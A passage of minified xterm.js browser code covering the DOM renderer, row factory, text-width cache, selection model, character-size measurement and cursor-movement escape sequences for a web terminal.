s=i.getBoundingClientRect(),r=e.getComputedStyle(i),n=parseInt(r.getPropertyValue(\"padding-left\")),o=parseInt(r.getPropertyValue(\"padding-top\"));return[t.clientX-s.left-n,t.clientY-s.top-o]}Object.defineProperty(t,\"__esModule\",{value:!0}),t.getCoords=t.getCoordsRelativeToElement=void 0,t.getCoordsRelativeToElement=i,t.getCoords=function(e,t,s,r,n,o,a,h,c){if(!o)return;const l=i(e,t,s);return l?(l[0]=Math.ceil((l[0]+(c?a/2:0))/a),l[1]=Math.ceil(l[1]/h),l[0]=Math.min(Math.max(l[0],1),r+(c?1:0)),l[1]=Math.min(Math.max(l[1],1),n),l):void 0}},9504:(e,t,i)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.moveToCellSequence=void 0;const s=i(2584);function r(e,t,i,s){const r=e-n(e,i),a=t-n(t,i),l=Math.abs(r-a)-function(e,t,i){let s=0;const r=e-n(e,i),a=t-n(t,i);for(let n=0;n<Math.abs(r-a);n++){const a=\"A\"===o(e,t)?-1:1,h=i.buffer.lines.get(r+a*n);(null==h?void 0:h.isWrapped)&&s++}return s}(e,t,i);return c(l,h(o(e,t),s))}function n(e,t){let i=0,s=t.buffer.lines.get(e),r=null==s?void 0:s.isWrapped;for(;r&&e>=0&&e<t.rows;)i++,s=t.buffer.lines.get(--e),r=null==s?void 0:s.isWrapped;return i}function o(e,t){return e>t?\"A\":\"B\"}function a(e,t,i,s,r,n){let o=e,a=t,h=\"\";for(;o!==i||a!==s;)o+=r?1:-1,r&&o>n.cols-1?(h+=n.buffer.translateBufferLineToString(a,!1,e,o),o=0,e=0,a++):!r&&o<0&&(h+=n.buffer.translateBufferLineToString(a,!1,0,e+1),o=n.cols-1,e=o,a--);return h+n.buffer.translateBufferLineToString(a,!1,e,o)}function h(e,t){const i=t?\"O\":\"[\";return s.C0.ESC+i+e}function c(e,t){e=Math.floor(e);let i=\"\";for(let s=0;s<e;s++)i+=t;return i}t.moveToCellSequence=function(e,t,i,s){const o=i.buffer.x,l=i.buffer.y;if(!i.buffer.hasScrollback)return function(e,t,i,s,o,l){return 0===r(t,s,o,l).length?\"\":c(a(e,t,e,t-n(t,o),!1,o).length,h(\"D\",l))}(o,l,0,t,i,s)+r(l,t,i,s)+function(e,t,i,s,o,l){let d;d=r(t,s,o,l).length>0?s-n(s,o):t;const _=s,u=function(e,t,i,s,o,a){let h;return h=r(i,s,o,a).length>0?s-n(s,o):t,e<i&&h<=s||e>=i&&h<s?\"C\":\"D\"}(e,t,i,s,o,l);return c(a(e,d,i,_,\"C\"===u,o).length,h(u,l))}(o,l,e,t,i,s);let d;if(l===t)return d=o>e?\"D\":\"C\",c(Math.abs(o-e),h(d,s));d=l>t?\"D\":\"C\";const _=Math.abs(l-t);return c(function(e,t){return t.cols-e}(l>t?e:o,i)+(_-1)*i.cols+1+((l>t?o:e)-1),h(d,s))}},1296:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if(\"object\"==typeof Reflect&&\"function\"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,\"__esModule\",{value:!0}),t.DomRenderer=void 0;const n=i(3787),o=i(2550),a=i(2223),h=i(6171),c=i(4725),l=i(8055),d=i(8460),_=i(844),u=i(2585),f=\"xterm-dom-renderer-owner-\",v=\"xterm-rows\",p=\"xterm-fg-\",g=\"xterm-bg-\",m=\"xterm-focus\",S=\"xterm-selection\";let C=1,b=t.DomRenderer=class extends _.Disposable{constructor(e,t,i,s,r,a,c,l,u,p){super(),this._element=e,this._screenElement=t,this._viewportElement=i,this._linkifier2=s,this._charSizeService=a,this._optionsService=c,this._bufferService=l,this._coreBrowserService=u,this._themeService=p,this._terminalClass=C++,this._rowElements=[],this.onRequestRedraw=this.register(new d.EventEmitter).event,this._rowContainer=document.createElement(\"div\"),this._rowContainer.classList.add(v),this._rowContainer.style.lineHeight=\"normal\",this._rowContainer.setAttribute(\"aria-hidden\",\"true\"),this._refreshRowElements(this._bufferService.cols,this._bufferService.rows),this._selectionContainer=document.createElement(\"div\"),this._selectionContainer.classList.add(S),this._selectionContainer.setAttribute(\"aria-hidden\",\"true\"),this.dimensions=(0,h.createRenderDimensions)(),this._updateDimensions(),this.register(this._optionsService.onOptionChange((()=>this._handleOptionsChanged()))),this.register(this._themeService.onChangeColors((e=>this._injectCss(e)))),this._injectCss(this._themeService.colors),this._rowFactory=r.createInstance(n.DomRendererRowFactory,document),this._element.classList.add(f+this._terminalClass),this._screenElement.appendChild(this._rowContainer),this._screenElement.appendChild(this._selectionContainer),this.register(this._linkifier2.onShowLinkUnderline((e=>this._handleLinkHover(e)))),this.register(this._linkifier2.onHideLinkUnderline((e=>this._handleLinkLeave(e)))),this.register((0,_.toDisposable)((()=>{this._element.classList.remove(f+this._terminalClass),this._rowContainer.remove(),this._selectionContainer.remove(),this._widthCache.dispose(),this._themeStyleElement.remove(),this._dimensionsStyleElement.remove()}))),this._widthCache=new o.WidthCache(document),this._widthCache.setFont(this._optionsService.rawOptions.fontFamily,this._optionsService.rawOptions.fontSize,this._optionsService.rawOptions.fontWeight,this._optionsService.rawOptions.fontWeightBold),this._setDefaultSpacing()}_updateDimensions(){const e=this._coreBrowserService.dpr;this.dimensions.device.char.width=this._charSizeService.width*e,this.dimensions.device.char.height=Math.ceil(this._charSizeService.height*e),this.dimensions.device.cell.width=this.dimensions.device.char.width+Math.round(this._optionsService.rawOptions.letterSpacing),this.dimensions.device.cell.height=Math.floor(this.dimensions.device.char.height*this._optionsService.rawOptions.lineHeight),this.dimensions.device.char.left=0,this.dimensions.device.char.top=0,this.dimensions.device.canvas.width=this.dimensions.device.cell.width*this._bufferService.cols,this.dimensions.device.canvas.height=this.dimensions.device.cell.height*this._bufferService.rows,this.dimensions.css.canvas.width=Math.round(this.dimensions.device.canvas.width/e),this.dimensions.css.canvas.height=Math.round(this.dimensions.device.canvas.height/e),this.dimensions.css.cell.width=this.dimensions.css.canvas.width/this._bufferService.cols,this.dimensions.css.cell.height=this.dimensions.css.canvas.height/this._bufferService.rows;for(const e of this._rowElements)e.style.width=`${this.dimensions.css.canvas.width}px`,e.style.height=`${this.dimensions.css.cell.height}px`,e.style.lineHeight=`${this.dimensions.css.cell.height}px`,e.style.overflow=\"hidden\";this._dimensionsStyleElement||(this._dimensionsStyleElement=document.createElement(\"style\"),this._screenElement.appendChild(this._dimensionsStyleElement));const t=`${this._terminalSelector} .${v} span { display: inline-block; height: 100%; vertical-align: top;}`;this._dimensionsStyleElement.textContent=t,this._selectionContainer.style.height=this._viewportElement.style.height,this._screenElement.style.width=`${this.dimensions.css.canvas.width}px`,this._screenElement.style.height=`${this.dimensions.css.canvas.height}px`}_injectCss(e){this._themeStyleElement||(this._themeStyleElement=document.createElement(\"style\"),this._screenElement.appendChild(this._themeStyleElement));let t=`${this._terminalSelector} .${v} { color: ${e.foreground.css}; font-family: ${this._optionsService.rawOptions.fontFamily}; font-size: ${this._optionsService.rawOptions.fontSize}px; font-kerning: none; white-space: pre}`;t+=`${this._terminalSelector} .${v} .xterm-dim { color: ${l.color.multiplyOpacity(e.foreground,.5).css};}`,t+=`${this._terminalSelector} span:not(.xterm-bold) { font-weight: ${this._optionsService.rawOptions.fontWeight};}${this._terminalSelector} span.xterm-bold { font-weight: ${this._optionsService.rawOptions.fontWeightBold};}${this._terminalSelector} span.xterm-italic { font-style: italic;}`,t+=\"@keyframes blink_box_shadow_\"+this._terminalClass+\" { 50% {  border-bottom-style: hidden; }}\",t+=\"@keyframes blink_block_\"+this._terminalClass+\" { 0% {\"+`  background-color: ${e.cursor.css};`+`  color: ${e.cursorAccent.css}; } 50% {  background-color: inherit;`+`  color: ${e.cursor.css}; }}`,t+=`${this._terminalSelector} .${v}.${m} .xterm-cursor.xterm-cursor-blink:not(.xterm-cursor-block) { animation: blink_box_shadow_`+this._terminalClass+\" 1s step-end infinite;}\"+`${this._terminalSelector} .${v}.${m} .xterm-cursor.xterm-cursor-blink.xterm-cursor-block { animation: blink_block_`+this._terminalClass+\" 1s step-end infinite;}\"+`${this._terminalSelector} .${v} .xterm-cursor.xterm-cursor-block {`+` background-color: ${e.cursor.css};`+` color: ${e.cursorAccent.css};}`+`${this._terminalSelector} .${v} .xterm-cursor.xterm-cursor-outline {`+` outline: 1px solid ${e.cursor.css}; outline-offset: -1px;}`+`${this._terminalSelector} .${v} .xterm-cursor.xterm-cursor-bar {`+` box-shadow: ${this._optionsService.rawOptions.cursorWidth}px 0 0 ${e.cursor.css} inset;}`+`${this._terminalSelector} .${v} .xterm-cursor.xterm-cursor-underline {`+` border-bottom: 1px ${e.cursor.css}; border-bottom-style: solid; height: calc(100% - 1px);}`,t+=`${this._terminalSelector} .${S} { position: absolute; top: 0; left: 0; z-index: 1; pointer-events: none;}${this._terminalSelector}.focus .${S} div { position: absolute; background-color: ${e.selectionBackgroundOpaque.css};}${this._terminalSelector} .${S} div { position: absolute; background-color: ${e.selectionInactiveBackgroundOpaque.css};}`;for(const[i,s]of e.ansi.entries())t+=`${this._terminalSelector} .${p}${i} { color: ${s.css}; }${this._terminalSelector} .${p}${i}.xterm-dim { color: ${l.color.multiplyOpacity(s,.5).css}; }${this._terminalSelector} .${g}${i} { background-color: ${s.css}; }`;t+=`${this._terminalSelector} .${p}${a.INVERTED_DEFAULT_COLOR} { color: ${l.color.opaque(e.background).css}; }${this._terminalSelector} .${p}${a.INVERTED_DEFAULT_COLOR}.xterm-dim { color: ${l.color.multiplyOpacity(l.color.opaque(e.background),.5).css}; }${this._terminalSelector} .${g}${a.INVERTED_DEFAULT_COLOR} { background-color: ${e.foreground.css}; }`,this._themeStyleElement.textContent=t}_setDefaultSpacing(){const e=this.dimensions.css.cell.width-this._widthCache.get(\"W\",!1,!1);this._rowContainer.style.letterSpacing=`${e}px`,this._rowFactory.defaultSpacing=e}handleDevicePixelRatioChange(){this._updateDimensions(),this._widthCache.clear(),this._setDefaultSpacing()}_refreshRowElements(e,t){for(let e=this._rowElements.length;e<=t;e++){const e=document.createElement(\"div\");this._rowContainer.appendChild(e),this._rowElements.push(e)}for(;this._rowElements.length>t;)this._rowContainer.removeChild(this._rowElements.pop())}handleResize(e,t){this._refreshRowElements(e,t),this._updateDimensions()}handleCharSizeChanged(){this._updateDimensions(),this._widthCache.clear(),this._setDefaultSpacing()}handleBlur(){this._rowContainer.classList.remove(m)}handleFocus(){this._rowContainer.classList.add(m),this.renderRows(this._bufferService.buffer.y,this._bufferService.buffer.y)}handleSelectionChanged(e,t,i){if(this._selectionContainer.replaceChildren(),this._rowFactory.handleSelectionChanged(e,t,i),this.renderRows(0,this._bufferService.rows-1),!e||!t)return;const s=e[1]-this._bufferService.buffer.ydisp,r=t[1]-this._bufferService.buffer.ydisp,n=Math.max(s,0),o=Math.min(r,this._bufferService.rows-1);if(n>=this._bufferService.rows||o<0)return;const a=document.createDocumentFragment();if(i){const i=e[0]>t[0];a.appendChild(this._createSelectionElement(n,i?t[0]:e[0],i?e[0]:t[0],o-n+1))}else{const i=s===n?e[0]:0,h=n===r?t[0]:this._bufferService.cols;a.appendChild(this._createSelectionElement(n,i,h));const c=o-n-1;if(a.appendChild(this._createSelectionElement(n+1,0,this._bufferService.cols,c)),n!==o){const e=r===o?t[0]:this._bufferService.cols;a.appendChild(this._createSelectionElement(o,0,e))}}this._selectionContainer.appendChild(a)}_createSelectionElement(e,t,i,s=1){const r=document.createElement(\"div\");return r.style.height=s*this.dimensions.css.cell.height+\"px\",r.style.top=e*this.dimensions.css.cell.height+\"px\",r.style.left=t*this.dimensions.css.cell.width+\"px\",r.style.width=this.dimensions.css.cell.width*(i-t)+\"px\",r}handleCursorMove(){}_handleOptionsChanged(){this._updateDimensions(),this._injectCss(this._themeService.colors),this._widthCache.setFont(this._optionsService.rawOptions.fontFamily,this._optionsService.rawOptions.fontSize,this._optionsService.rawOptions.fontWeight,this._optionsService.rawOptions.fontWeightBold),this._setDefaultSpacing()}clear(){for(const e of this._rowElements)e.replaceChildren()}renderRows(e,t){const i=this._bufferService.buffer,s=i.ybase+i.y,r=Math.min(i.x,this._bufferService.cols-1),n=this._optionsService.rawOptions.cursorBlink,o=this._optionsService.rawOptions.cursorStyle,a=this._optionsService.rawOptions.cursorInactiveStyle;for(let h=e;h<=t;h++){const e=h+i.ydisp,t=this._rowElements[h],c=i.lines.get(e);if(!t||!c)break;t.replaceChildren(...this._rowFactory.createRow(c,e,e===s,o,a,r,n,this.dimensions.css.cell.width,this._widthCache,-1,-1))}}get _terminalSelector(){return`.${f}${this._terminalClass}`}_handleLinkHover(e){this._setCellUnderline(e.x1,e.x2,e.y1,e.y2,e.cols,!0)}_handleLinkLeave(e){this._setCellUnderline(e.x1,e.x2,e.y1,e.y2,e.cols,!1)}_setCellUnderline(e,t,i,s,r,n){i<0&&(e=0),s<0&&(t=0);const o=this._bufferService.rows-1;i=Math.max(Math.min(i,o),0),s=Math.max(Math.min(s,o),0),r=Math.min(r,this._bufferService.cols);const a=this._bufferService.buffer,h=a.ybase+a.y,c=Math.min(a.x,r-1),l=this._optionsService.rawOptions.cursorBlink,d=this._optionsService.rawOptions.cursorStyle,_=this._optionsService.rawOptions.cursorInactiveStyle;for(let o=i;o<=s;++o){const u=o+a.ydisp,f=this._rowElements[o],v=a.lines.get(u);if(!f||!v)break;f.replaceChildren(...this._rowFactory.createRow(v,u,u===h,d,_,c,l,this.dimensions.css.cell.width,this._widthCache,n?o===i?e:0:-1,n?(o===s?t:r)-1:-1))}}};t.DomRenderer=b=s([r(4,u.IInstantiationService),r(5,c.ICharSizeService),r(6,u.IOptionsService),r(7,u.IBufferService),r(8,c.ICoreBrowserService),r(9,c.IThemeService)],b)},3787:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if(\"object\"==typeof Reflect&&\"function\"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,\"__esModule\",{value:!0}),t.DomRendererRowFactory=void 0;const n=i(2223),o=i(643),a=i(511),h=i(2585),c=i(8055),l=i(4725),d=i(4269),_=i(6171),u=i(3734);let f=t.DomRendererRowFactory=class{constructor(e,t,i,s,r,n,o){this._document=e,this._characterJoinerService=t,this._optionsService=i,this._coreBrowserService=s,this._coreService=r,this._decorationService=n,this._themeService=o,this._workCell=new a.CellData,this._columnSelectMode=!1,this.defaultSpacing=0}handleSelectionChanged(e,t,i){this._selectionStart=e,this._selectionEnd=t,this._columnSelectMode=i}createRow(e,t,i,s,r,a,h,l,_,f,p){const g=[],m=this._characterJoinerService.getJoinedCharacters(t),S=this._themeService.colors;let C,b=e.getNoBgTrimmedLength();i&&b<a+1&&(b=a+1);let y=0,w=\"\",E=0,k=0,L=0,D=!1,R=0,x=!1,A=0;const B=[],T=-1!==f&&-1!==p;for(let M=0;M<b;M++){e.loadCell(M,this._workCell);let b=this._workCell.getWidth();if(0===b)continue;let O=!1,P=M,I=this._workCell;if(m.length>0&&M===m[0][0]){O=!0;const t=m.shift();I=new d.JoinedCellData(this._workCell,e.translateToString(!0,t[0],t[1]),t[1]-t[0]),P=t[1]-1,b=I.getWidth()}const H=this._isCellInSelection(M,t),F=i&&M===a,W=T&&M>=f&&M<=p;let U=!1;this._decorationService.forEachDecorationAtCell(M,t,void 0,(e=>{U=!0}));let N=I.getChars()||o.WHITESPACE_CELL_CHAR;if(\" \"===N&&(I.isUnderline()||I.isOverline())&&(N=\" \"),A=b*l-_.get(N,I.isBold(),I.isItalic()),C){if(y&&(H&&x||!H&&!x&&I.bg===E)&&(H&&x&&S.selectionForeground||I.fg===k)&&I.extended.ext===L&&W===D&&A===R&&!F&&!O&&!U){w+=N,y++;continue}y&&(C.textContent=w),C=this._document.createElement(\"span\"),y=0,w=\"\"}else C=this._document.createElement(\"span\");if(E=I.bg,k=I.fg,L=I.extended.ext,D=W,R=A,x=H,O&&a>=M&&a<=P&&(a=M),!this._coreService.isCursorHidden&&F)if(B.push(\"xterm-cursor\"),this._coreBrowserService.isFocused)h&&B.push(\"xterm-cursor-blink\"),B.push(\"bar\"===s?\"xterm-cursor-bar\":\"underline\"===s?\"xterm-cursor-underline\":\"xterm-cursor-block\");else if(r)switch(r){case\"outline\":B.push(\"xterm-cursor-outline\");break;case\"block\":B.push(\"xterm-cursor-block\");break;case\"bar\":B.push(\"xterm-cursor-bar\");break;case\"underline\":B.push(\"xterm-cursor-underline\")}if(I.isBold()&&B.push(\"xterm-bold\"),I.isItalic()&&B.push(\"xterm-italic\"),I.isDim()&&B.push(\"xterm-dim\"),w=I.isInvisible()?o.WHITESPACE_CELL_CHAR:I.getChars()||o.WHITESPACE_CELL_CHAR,I.isUnderline()&&(B.push(`xterm-underline-${I.extended.underlineStyle}`),\" \"===w&&(w=\" \"),!I.isUnderlineColorDefault()))if(I.isUnderlineColorRGB())C.style.textDecorationColor=`rgb(${u.AttributeData.toColorRGB(I.getUnderlineColor()).join(\",\")})`;else{let e=I.getUnderlineColor();this._optionsService.rawOptions.drawBoldTextInBrightColors&&I.isBold()&&e<8&&(e+=8),C.style.textDecorationColor=S.ansi[e].css}I.isOverline()&&(B.push(\"xterm-overline\"),\" \"===w&&(w=\" \")),I.isStrikethrough()&&B.push(\"xterm-strikethrough\"),W&&(C.style.textDecoration=\"underline\");let $=I.getFgColor(),j=I.getFgColorMode(),z=I.getBgColor(),K=I.getBgColorMode();const q=!!I.isInverse();if(q){const e=$;$=z,z=e;const t=j;j=K,K=t}let V,G,X,J=!1;switch(this._decorationService.forEachDecorationAtCell(M,t,void 0,(e=>{\"top\"!==e.options.layer&&J||(e.backgroundColorRGB&&(K=50331648,z=e.backgroundColorRGB.rgba>>8&16777215,V=e.backgroundColorRGB),e.foregroundColorRGB&&(j=50331648,$=e.foregroundColorRGB.rgba>>8&16777215,G=e.foregroundColorRGB),J=\"top\"===e.options.layer)})),!J&&H&&(V=this._coreBrowserService.isFocused?S.selectionBackgroundOpaque:S.selectionInactiveBackgroundOpaque,z=V.rgba>>8&16777215,K=50331648,J=!0,S.selectionForeground&&(j=50331648,$=S.selectionForeground.rgba>>8&16777215,G=S.selectionForeground)),J&&B.push(\"xterm-decoration-top\"),K){case 16777216:case 33554432:X=S.ansi[z],B.push(`xterm-bg-${z}`);break;case 50331648:X=c.rgba.toColor(z>>16,z>>8&255,255&z),this._addStyle(C,`background-color:#${v((z>>>0).toString(16),\"0\",6)}`);break;default:q?(X=S.foreground,B.push(`xterm-bg-${n.INVERTED_DEFAULT_COLOR}`)):X=S.background}switch(V||I.isDim()&&(V=c.color.multiplyOpacity(X,.5)),j){case 16777216:case 33554432:I.isBold()&&$<8&&this._optionsService.rawOptions.drawBoldTextInBrightColors&&($+=8),this._applyMinimumContrast(C,X,S.ansi[$],I,V,void 0)||B.push(`xterm-fg-${$}`);break;case 50331648:const e=c.rgba.toColor($>>16&255,$>>8&255,255&$);this._applyMinimumContrast(C,X,e,I,V,G)||this._addStyle(C,`color:#${v($.toString(16),\"0\",6)}`);break;default:this._applyMinimumContrast(C,X,S.foreground,I,V,void 0)||q&&B.push(`xterm-fg-${n.INVERTED_DEFAULT_COLOR}`)}B.length&&(C.className=B.join(\" \"),B.length=0),F||O||U?C.textContent=w:y++,A!==this.defaultSpacing&&(C.style.letterSpacing=`${A}px`),g.push(C),M=P}return C&&y&&(C.textContent=w),g}_applyMinimumContrast(e,t,i,s,r,n){if(1===this._optionsService.rawOptions.minimumContrastRatio||(0,_.excludeFromContrastRatioDemands)(s.getCode()))return!1;const o=this._getContrastCache(s);let a;if(r||n||(a=o.getColor(t.rgba,i.rgba)),void 0===a){const e=this._optionsService.rawOptions.minimumContrastRatio/(s.isDim()?2:1);a=c.color.ensureContrastRatio(r||t,n||i,e),o.setColor((r||t).rgba,(n||i).rgba,null!=a?a:null)}return!!a&&(this._addStyle(e,`color:${a.css}`),!0)}_getContrastCache(e){return e.isDim()?this._themeService.colors.halfContrastCache:this._themeService.colors.contrastCache}_addStyle(e,t){e.setAttribute(\"style\",`${e.getAttribute(\"style\")||\"\"}${t};`)}_isCellInSelection(e,t){const i=this._selectionStart,s=this._selectionEnd;return!(!i||!s)&&(this._columnSelectMode?i[0]<=s[0]?e>=i[0]&&t>=i[1]&&e<s[0]&&t<=s[1]:e<i[0]&&t>=i[1]&&e>=s[0]&&t<=s[1]:t>i[1]&&t<s[1]||i[1]===s[1]&&t===i[1]&&e>=i[0]&&e<s[0]||i[1]<s[1]&&t===s[1]&&e<s[0]||i[1]<s[1]&&t===i[1]&&e>=i[0])}};function v(e,t,i){for(;e.length<i;)e=t+e;return e}t.DomRendererRowFactory=f=s([r(1,l.ICharacterJoinerService),r(2,h.IOptionsService),r(3,l.ICoreBrowserService),r(4,h.ICoreService),r(5,h.IDecorationService),r(6,l.IThemeService)],f)},2550:(e,t)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.WidthCache=void 0,t.WidthCache=class{constructor(e){this._flat=new Float32Array(256),this._font=\"\",this._fontSize=0,this._weight=\"normal\",this._weightBold=\"bold\",this._measureElements=[],this._container=e.createElement(\"div\"),this._container.style.position=\"absolute\",this._container.style.top=\"-50000px\",this._container.style.width=\"50000px\",this._container.style.whiteSpace=\"pre\",this._container.style.fontKerning=\"none\";const t=e.createElement(\"span\"),i=e.createElement(\"span\");i.style.fontWeight=\"bold\";const s=e.createElement(\"span\");s.style.fontStyle=\"italic\";const r=e.createElement(\"span\");r.style.fontWeight=\"bold\",r.style.fontStyle=\"italic\",this._measureElements=[t,i,s,r],this._container.appendChild(t),this._container.appendChild(i),this._container.appendChild(s),this._container.appendChild(r),e.body.appendChild(this._container),this.clear()}dispose(){this._container.remove(),this._measureElements.length=0,this._holey=void 0}clear(){this._flat.fill(-9999),this._holey=new Map}setFont(e,t,i,s){e===this._font&&t===this._fontSize&&i===this._weight&&s===this._weightBold||(this._font=e,this._fontSize=t,this._weight=i,this._weightBold=s,this._container.style.fontFamily=this._font,this._container.style.fontSize=`${this._fontSize}px`,this._measureElements[0].style.fontWeight=`${i}`,this._measureElements[1].style.fontWeight=`${s}`,this._measureElements[2].style.fontWeight=`${i}`,this._measureElements[3].style.fontWeight=`${s}`,this.clear())}get(e,t,i){let s=0;if(!t&&!i&&1===e.length&&(s=e.charCodeAt(0))<256)return-9999!==this._flat[s]?this._flat[s]:this._flat[s]=this._measure(e,0);let r=e;t&&(r+=\"B\"),i&&(r+=\"I\");let n=this._holey.get(r);if(void 0===n){let s=0;t&&(s|=1),i&&(s|=2),n=this._measure(e,s),this._holey.set(r,n)}return n}_measure(e,t){const i=this._measureElements[t];return i.textContent=e.repeat(32),i.offsetWidth/32}}},2223:(e,t,i)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.TEXT_BASELINE=t.DIM_OPACITY=t.INVERTED_DEFAULT_COLOR=void 0;const s=i(6114);t.INVERTED_DEFAULT_COLOR=257,t.DIM_OPACITY=.5,t.TEXT_BASELINE=s.isFirefox||s.isLegacyEdge?\"bottom\":\"ideographic\"},6171:(e,t)=>{function i(e){return 57508<=e&&e<=57558}Object.defineProperty(t,\"__esModule\",{value:!0}),t.createRenderDimensions=t.excludeFromContrastRatioDemands=t.isRestrictedPowerlineGlyph=t.isPowerlineGlyph=t.throwIfFalsy=void 0,t.throwIfFalsy=function(e){if(!e)throw new Error(\"value must not be falsy\");return e},t.isPowerlineGlyph=i,t.isRestrictedPowerlineGlyph=function(e){return 57520<=e&&e<=57527},t.excludeFromContrastRatioDemands=function(e){return i(e)||function(e){return 9472<=e&&e<=9631}(e)},t.createRenderDimensions=function(){return{css:{canvas:{width:0,height:0},cell:{width:0,height:0}},device:{canvas:{width:0,height:0},cell:{width:0,height:0},char:{width:0,height:0,left:0,top:0}}}}},456:(e,t)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.SelectionModel=void 0,t.SelectionModel=class{constructor(e){this._bufferService=e,this.isSelectAllActive=!1,this.selectionStartLength=0}clearSelection(){this.selectionStart=void 0,this.selectionEnd=void 0,this.isSelectAllActive=!1,this.selectionStartLength=0}get finalSelectionStart(){return this.isSelectAllActive?[0,0]:this.selectionEnd&&this.selectionStart&&this.areSelectionValuesReversed()?this.selectionEnd:this.selectionStart}get finalSelectionEnd(){if(this.isSelectAllActive)return[this._bufferService.cols,this._bufferService.buffer.ybase+this._bufferService.rows-1];if(this.selectionStart){if(!this.selectionEnd||this.areSelectionValuesReversed()){const e=this.selectionStart[0]+this.selectionStartLength;return e>this._bufferService.cols?e%this._bufferService.cols==0?[this._bufferService.cols,this.selectionStart[1]+Math.floor(e/this._bufferService.cols)-1]:[e%this._bufferService.cols,this.selectionStart[1]+Math.floor(e/this._bufferService.cols)]:[e,this.selectionStart[1]]}if(this.selectionStartLength&&this.selectionEnd[1]===this.selectionStart[1]){const e=this.selectionStart[0]+this.selectionStartLength;return e>this._bufferService.cols?[e%this._bufferService.cols,this.selectionStart[1]+Math.floor(e/this._bufferService.cols)]:[Math.max(e,this.selectionEnd[0]),this.selectionEnd[1]]}return this.selectionEnd}}areSelectionValuesReversed(){const e=this.selectionStart,t=this.selectionEnd;return!(!e||!t)&&(e[1]>t[1]||e[1]===t[1]&&e[0]>t[0])}handleTrim(e){return this.selectionStart&&(this.selectionStart[1]-=e),this.selectionEnd&&(this.selectionEnd[1]-=e),this.selectionEnd&&this.selectionEnd[1]<0?(this.clearSelection(),!0):(this.selectionStart&&this.selectionStart[1]<0&&(this.selectionStart[1]=0),!1)}}},428:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if(\"object\"==typeof Reflect&&\"function\"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,\"__esModule\",{value:!0}),t.CharSizeService=void 0;const n=i(2585),o=i(8460),a=i(844);let h=t.CharSizeService=class extends a.Disposable{get hasValidSize(){return this.width>0&&this.height>0}constructor(e,t,i){super(),this._optionsService=i,this.width=0,this.height=0,this._onCharSizeChange=this.register(new o.EventEmitter),this.onCharSizeChange=this._onCharSizeChange.event,this._measureStrategy=new c(e,t,this._optionsService),this.register(this._optionsService.onMultipleOptionChange([\"fontFamily\",\"fontSize\"],(()=>this.measure())))}measure(){const e=this._measureStrategy.measure();e.width===this.width&&e.height===this.height||(this.width=e.width,this.height=e.height,this._onCharSizeChange.fire())}};t.CharSizeService=h=s([r(2,n.IOptionsService)],h);class c{constructor(e,t,i){this._document=e,this._parentElement=t,this._optionsService=i,this._result={width:0,height:0},this._measureElement=this._document.createElement(\"span\"),this._measureElement.classList.add(\"xterm-char-measure-element\"),this._measureElement.textContent=\"W\".repeat(32),this._measureElement.setAttribute(\"aria-hidden\",\"true\"),this._measureElement.style.whiteSpace=\"pre\",this._measureElement.style.fontKerning=\"none\",this._parentElement.appendChild(this._measureElement)}measure(){this._measureElement.style.fontFamily=this._optionsService.rawOptions.fontFamily,this._measureElement.style.fontSize=`${this._optionsService.rawOptions.fontSize}px`;const e={height:Number(this._measureElement.offsetHeight),width:Number(this._measureElement.offsetWidth)};return 0!==e.width&&0!==e.height&&(this._result.width=e.width/32,this._result.height=Math.ceil(e.height)),this._result}}},4269:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if(\"object\"==typeof Reflect&&\"function\"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,\"__esModule\",{value:!0}),t.CharacterJoinerService=t.JoinedCellData=void 0;const n=i(3734),o=i(643),a=i(511),h=i(2585);class c extends n.AttributeData{constructor(e,t,i){super(),this.content=0,this.combinedData=\"\",this.fg=e.fg,this.bg=e.bg,this.combinedData=t,this._width=i}isCombined(){return 2097152}getWidth(){return this._width}getChars(){return this.combinedData}getCode(){return 2097151}setFromCharData(e){throw new Error(\"not implemented\")}getAsCharData(){return[this.fg,this.getChars(),this.getWidth(),this.getCode()]}}t.JoinedCellData=c;let l=t.CharacterJoinerService=class e{constructor(e){this._bufferService=e,this._characterJoiners=[],this._nextCharacterJoinerId=0,this._workCell=new a.CellData}register(e){const t={id:this._nextCharacterJoinerId++,handler:e};return this._characterJoiners.push(t),t.id}deregister(e){for(let t=0;t<this._characterJoiners.length;t++)if(this._characterJoiners[t].id===e)return this._characterJoiners.splice(t,1),!0;return!1}getJoinedCharacters(e){if(0===this._characterJoiners.length)return[];const t=this._bufferService.buffer.lines.get(e);if(!t||0===t.length)return[];const i=[],s=t.translateToString(!0);let 